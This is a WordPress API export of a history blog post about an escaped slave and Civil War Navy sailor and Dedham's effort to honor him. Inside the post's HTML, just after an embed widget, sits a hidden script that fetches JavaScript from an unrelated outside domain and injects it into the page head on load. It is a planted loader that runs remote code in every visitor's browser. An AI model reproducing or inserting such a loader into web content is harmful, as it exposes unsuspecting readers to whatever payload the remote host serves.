{"id":1128,"date":"2020-11-22T22:32:54","date_gmt":"2020-11-22T22:32:54","guid":{"rendered":"https:\/\/historynet.net\/?p=1128"},"modified":"2020-11-22T22:32:54","modified_gmt":"2020-11-22T22:32:54","slug":"boston-globe-escaped-slave-and-navy-sailor-recounted-his-remarkable-civil-war-story-in-a-diary-now-dedham-looks-to-honor-his-legacy","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2020\/11\/22\/boston-globe-escaped-slave-and-navy-sailor-recounted-his-remarkable-civil-war-story-in-a-diary-now-dedham-looks-to-honor-his-legacy\/","title":{"rendered":"Boston Globe: Escaped slave and Navy sailor recounted his remarkable Civil War story in a diary. Now Dedham looks to honor his legacy"},"content":{"rendered":"<p>\u201cHere is a man who under the most difficult, adverse circumstances that one can imagine was able to stand up, speak in a mature and independent fashion, and evaluate the world around him critically.&#8221;<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.bostonglobe.com\/2020\/11\/21\/metro\/escaped-slave-navy-sailor-recounted-his-remarkable-civil-war-story-diary-now-dedham-looks-honor-his-legacy\/\">Escaped slave and Navy sailor recounted his remarkable Civil War story in a diary. Now Dedham looks to honor his legacy &#8211; The Boston Globe<\/a><\/h4>\n<p>But now, prompted by a grass-roots effort, Dedham is seeking to make Gould&#8217;s name resonate again, joining a broad movement to honor Black Americans whose lives, however notable, have been overlooked by history. The town recently renamed a park for Gould and is considering further tributes to aveteran who saw one son serve in the Spanish-American War and five others in World War I.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cHere is a man who under the most difficult, adverse circumstances that one can imagine was able to stand up, speak in a mature and independent fashion, and evaluate the world around him critically.&#8221; &nbsp; Escaped slave and Navy sailor recounted his remarkable Civil War story in a diary. Now Dedham looks to honor his [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6156,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14],"tags":[],"class_list":["post-1128","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/1128","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=1128"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/1128\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=1128"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=1128"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=1128"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}